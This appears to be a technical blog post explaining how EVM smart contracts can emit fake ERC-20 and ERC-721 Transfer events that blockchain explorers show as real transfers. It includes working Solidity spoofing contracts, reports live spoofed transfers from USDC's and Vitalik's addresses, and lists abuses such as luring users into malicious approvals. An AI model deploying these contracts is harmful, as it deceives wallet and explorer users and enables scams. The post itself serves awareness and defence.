Event Spoofing in EVM Chains: How Smart Contract Events Can Create Deceptive Transaction Records

April 20, 2025

In EVM based blockchains, smart contracts use events to communicate with the outside world. These events are logged as part of the transaction receipt and are not part of the contract’s internal state.

Imagine a public logbook next to a vault. The logbook shows who claims to have deposited or withdrawn items. However, unless you verify the vault's actual contents, you're just trusting entries that anyone could write in the right format.

Blockchain explorers and applications often rely on emitted events to track activities like token transfers, NFT movements, and other state changes. However, this mechanism introduces a possible security concern: the ability to generate misleading transaction records without actual asset transfers. This post provides a technical analysis of this issue, with practical proof-of-concepts.

Technical Background

The EVM's logging system allows contracts to emit events through the following operations:

  • LOG0, LOG1, LOG2, LOG3, and LOG4 opcodes
  • Solidity abstracts these into the emit keyword with event declarations

Critically, nothing prevents a contract from emitting any event with arbitrary parameters. The blockchain protocol itself does not validate that events accurately reflect the state changes they claim to represent.

Token Transfer Spoofing (ERC-20)

The ERC-20 specification requires a Transfer event to be emitted whenever a transfer occurs:

event Transfer(address indexed from, address indexed to, uint256 value);

However, this is a soft requirement—it assumes honest implementation. The EVM does not enforce a correlation between the Transfer event and the actual movement of tokens.

The ERC-20 standard specifies that contracts must emit Transfer events when tokens change hands. Most blockchain explorers (Etherscan too), wallets, and analytics platforms track these events to build user interfaces and transaction histories.

Proof of Concept: ERC-20 Spoofer

An example of a Solidity contract that allows users to spoof transactions on the blockchain.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Spoofer {
    event Transfer(address indexed from, address indexed to, uint256 value);

    function spoofTransfer(address from, address to, uint256 amount) public {
        emit Transfer(from, to, amount);
    }
}

And this is with a arbitrary ERC-20 token name and symbol.

pragma solidity ^0.8.0;

contract Spoofer {
    string public name = "PocToken"; // This can be anything like USDC, USDT, etc.
    string public symbol = "POC"; // This too
    uint8 public decimals = 18;
    uint256 public totalSupply = 0;

    event Transfer(address indexed from, address indexed to, uint256 value);

    function spoofTransfer(address from, address to, uint256 amount) public {
        emit Transfer(from, to, amount);
    }
}

This contract contains no actual token storage or transfer logic. Yet, when the spoofTransfer function is called, it emits a standard-compliant ERC-20 Transfer event that blockchain explorers interpret as a legitimate token transfer. See it here Here I spoofed a transfer from USDC contract address to an arbitrary address.

The same principle applies to non-fungible tokens (NFTs) that follow the ERC-721 standard, where Transfer events signal ownership changes.

pragma solidity ^0.8.0;

contract FakeERC721TransferSimulator {
    string public name = "pocNFT";
    string public symbol = "POC";

    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    function spoofSafeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external {
        // You can process or log 'data' if needed to match ABI structure
        emit Transfer(from, to, tokenId);
    }

    function ownerOf(uint256 tokenId) public pure returns (address) {
        return address(0);
    }

    function balanceOf(address owner) public pure returns (uint256) {
        return 0;
    }
}

With a real POC transaction on BaseChain, which sends a NFT from vitalik to an arbitrary address, we can see the events being emitted. See it here Here I spoofed an ERC-721 transfer from Vitalik's address to an arbitrary address.

In the EVM, logs are part of the transaction receipt, not the contract's internal storage. Events cannot be read from within the contract, nor do they impact any storage slots. This separation means that emitting an event does not imply that any actual computation or token accounting has taken place.

State is modified using SSTORE, and read via SLOAD. Events, by contrast, are appended to the logs array and inserted into the bloom filter for indexing purposes. The EVM does not cross-check whether the data in the event matches any actual storage modifications in the same transaction.

Implications for the Ecosystem

  • Spoof transfers from well-known accounts to fake reputational endorsements.
  • Display fake token balances to deceive users into signing malicious approvals.
  • Analytics Pollution
  • Artificially inflate on-chain activity metrics.
  • Trick bots or protocols that rely on event data for reacting to transfers.

Also researchers and investigators should be aware of this issue and take it into account when analyzing transactions.